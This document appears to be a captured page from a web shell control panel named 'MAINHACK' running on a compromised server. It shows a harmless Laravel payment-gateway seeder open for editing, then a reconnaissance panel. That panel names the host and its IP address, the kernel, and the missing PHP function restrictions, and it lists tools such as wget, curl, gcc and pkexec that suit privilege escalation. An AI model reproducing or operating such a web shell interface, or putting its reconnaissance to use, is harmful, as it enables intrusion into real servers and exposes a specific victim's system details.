[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: PaymentGatewayTableSeederVersionTwo.php
<?php namespace Database\Seeders; use App\Enums\GatewayMode; use App\Enums\Activity; use App\Enums\InputType; use App\Models\GatewayOption; use App\Models\PaymentGateway; use Illuminate\Database\Seeder; class PaymentGatewayTableSeederVersionTwo extends Seeder { /** * Run the database seeds. * * @return void */ public array $gateways = [ [ "name" => "TwoCheckout", "slug" => "twocheckout", "misc" => null, "status" => Activity::DISABLE, "options" => [ [ "option" => 'twocheckout_seller_id', "type" => InputType::TEXT, "activities" => '' ], [ "option" => 'twocheckout_secret_key', "type" => InputType::TEXT, "activities" => '' ], [ "option" => 'twocheckout_buy_link_secret_word', "type" => InputType::TEXT, "activities" => '' ], [ "option" => 'twocheckout_mode', "type" => InputType::SELECT, "activities" => [ GatewayMode::SANDBOX => 'sandbox', GatewayMode::LIVE => 'live' ] ], [ "option" => 'twocheckout_status', "value" => Activity::DISABLE, "type" => InputType::SELECT, "activities" => [ Activity::ENABLE => "enable", Activity::DISABLE => "disable", ] ], ] ] ]; public function run(): void { foreach ($this->gateways as $gateway) { $payment = PaymentGateway::create([ 'name' => $gateway['name'], 'slug' => $gateway['slug'], 'misc' => json_encode($gateway['misc']), 'status' => $gateway['status'] ]); $payment->addMedia(public_path('/images/payment-gateway/' . $gateway['slug'] . '.png'))->preservingOriginal()->toMediaCollection('payment-gateway'); $this->gatewayOption($payment->id, $gateway['options']); } } public function gatewayOption($id, $options): void { if (!blank($options)) { foreach ($options as $option) { GatewayOption::create([ 'model_id' => $id, 'model_type' => 'App\Models\PaymentGateway', 'option' => $option['option'], 'value' => $option['value'] ?? "", 'type' => $option['type'], 'activities' => json_encode($option['activities']), ]); } } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.69 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002